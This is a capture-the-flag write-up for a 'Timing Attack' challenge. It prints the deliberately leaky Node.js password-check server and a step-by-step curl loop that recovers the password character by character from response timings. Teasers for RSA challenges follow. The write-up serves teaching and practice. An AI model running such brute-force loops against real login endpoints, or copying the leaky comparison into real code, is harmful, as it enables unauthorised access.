Timing Attack

February 26 2017

# # # #

Once upon a time, there was a programmer. His name was Anshul. He did not know how to work with passwords. His friend Animesh took this opportunity to do jugaad and guess the passwords so that he is able to order a lot of free shirts from MustCapture. Help Animesh to find this password.

hostname: defunct

  • Flag Format: r/[a-zA-Z]+/

Solution

The source code for the problem is as shown.

const http = require('http');

const flag = "kyouko";

server = http.createServer();

server.on('request', function(request, response) {
    if (request.headers['password'] == undefined) { 
        response.end('Could Not Find "password" header');
    }

    var password = request.headers['password'] || '';

    var time = 0;

    for (var i = password.length - 1; i >= 0; i--) {
        if (flag[i] == undefined) {
            time = Math.random();
            break;
        } else if (flag[i] == password[i]) {
            time += Math.random() + 1.2;
        } else {
            break;
        }
    }

    time += Math.random();

    if (password == flag) {
        response.end('flag: kyouko');
    } else {
        response.end('Time taken: ' + time);
    }
});

server.listen(8090);

We are given a regex format for the flag. The regex quite literally means that there the flag is alphabets (upper or lower case) which are repeating, and is a single word.

We are given a URL to mess with, and we do the preliminary task of scanning what is up.

$ curl ctfclubiiit.tk:8080 -v
* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:11:57 GMT
< Content-Length: 32
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Could Not Find "password" header

So it seems that the question requires a Header Password, so we make a guess with a password, as good as any…

$ curl ctfclubiiit.tk:8080 -v -H password:password
* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:password
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:12:32 GMT
< Content-Length: 30
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.8570860189920093

So that is a interesting response. It gives out a time taken entry. The question seems to point to a single word flag, and we could do a brute force. Let us try with all single characters.

$ for i in {a..z} {A..Z}
do
curl -s ctfclubiiit.tk:8080 -H password:$i -v
done
* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:a
> 
...
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.18704188948235467* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:k
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:17:15 GMT
< Content-Length: 30
< Connection: keep-alive
...
Time taken: 0.12415661205233341* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:z
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:17:21 GMT
< Content-Length: 30
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.9517626449710153* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:A
...
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.5161103718919255* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:Y
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:17:32 GMT
< Content-Length: 29
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.786562176526157* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:Z
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:17:33 GMT
< Content-Length: 31
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.46817110473251855%

This one entry in particular stands out.

*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:k
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:17:15 GMT
< Content-Length: 30
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 1.7484813706349838* Rebuilt URL to: ctfclubiiit.tk:8080/

The time taken for password:k is inordinately larger than the time taken for other strings. We might be onto something here.

$ for i in k{a..z} k{A..Z}
do
curl -s ctfclubiiit.tk:8080 -H password:$i -v
done
* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:ka
> 
...
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:22:17 GMT
< Content-Length: 28
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.71633441394593* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:ky
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:22:17 GMT
< Content-Length: 29
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 3.174663165603297* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
...
Time taken: 0.48192739215973557* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:kZ
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:22:29 GMT
< Content-Length: 30
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.7032416484348676%  

And here we again find another match. The entry for password:ky is inordinately larger than the others. It does not take long now, and soon we get to this point.

$ for i in kyouk{a..z} kyouk{A..Z}
do
curl -s ctfclubiiit.tk:8080 -H password:$i -v
done
* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:kyouka
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:24:09 GMT
< Content-Length: 30
< Connection: keep-alive
< 
...
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.13992585055199513* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:kyouko
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:24:15 GMT
< Content-Length: 12
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
flag: kyouko* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:kyoukp
> 
...
Time taken: 0.8287232987409219* Rebuilt URL to: ctfclubiiit.tk:8080/
*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:kyoukZ
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:24:32 GMT
< Content-Length: 30
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
Time taken: 0.3412310248097701% 

We are rewarded for our efforts with this.

*   Trying 54.175.180.76...
* Connected to ctfclubiiit.tk (54.175.180.76) port 8080 (#0)
> GET / HTTP/1.1
> Host: ctfclubiiit.tk:8080
> User-Agent: curl/7.47.0
> Accept: */*
> password:kyouko
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 26 Feb 2017 05:24:15 GMT
< Content-Length: 12
< Connection: keep-alive
< 
* Connection #0 to host ctfclubiiit.tk left intact
flag: kyouko* Rebuilt URL to: ctfclubiiit.tk:8080/

Flag

kyouko


Recommended Reading

Super Baby RSA

# # # #

Time for RSA!

e = 65537

n = 134023913680045880492110426626164090971954352532495944119602241841766743315344885078078359876157853261789964632342961459801834169156073972150056251259429043527344585589350222304649100454018523375146422111308080990153227407607374257909945989989405880451908900962388521742688809203045971595430040363546058882461

...

Recommended Reading

RSA. But it failed

# # #

c = 7404228387482887479261869746749991746176804495927055118318206683570516448983801743960459361546161134428690426222368709863453442050071171756423599377401597984440754435058668926603178633761668515076496069751847161724033187368679875259918093224187811267691876198273870870578467510184510086298582204521702946045220312770122458237518246424165432296119053607094777200284200814236416350304918483690156578148133652864328594441673632360773823893061942585188618198600179924877899949396771723157015085683434661302154230334257765610040158570863416499816053904560634890245995407176180498179848769133967582005361790108725945277949845769358752674332269800138008126120486961174643630274131401283073800170609863393091462716402062974615038997250596862336175333249971111165958082179351116528188875511999901288868170989351009565637749016012554778609401305705599425503266370571838403199592830285591168821852287944019050110517938219347052153238370382065390639346971764343981632465382255796047103032366703706122266986406432114737513202337430860123189821063638894815952679576109060674029276361130756827095433943772560556432939992933276440340090287373085788774415087792787958810051460428461265815708830858361853853472340042568141996425244740239642623958541083311687869085046368156034023773742764525490982352637357523475031768768619981883253061696021829604666466769997506990572364386730754183019245389791086458671560767393577689687174730155049027616849606316072012661663516661756810877578172095321431600121667891545760511844723167476314345937930753837239733394626157660380103339672690094231220365695508657679602754981411231543816566131037225152153015287164171129157814773590352342570677841639550177097704155982858059402540582839885549452130954935219771327861980762934458786390322073771612324195542640000816993296528925039288704714097937261854536340516727095307316259517387188619927408613685678242056200319636422554100280245820480283675364454021450870487344889261

...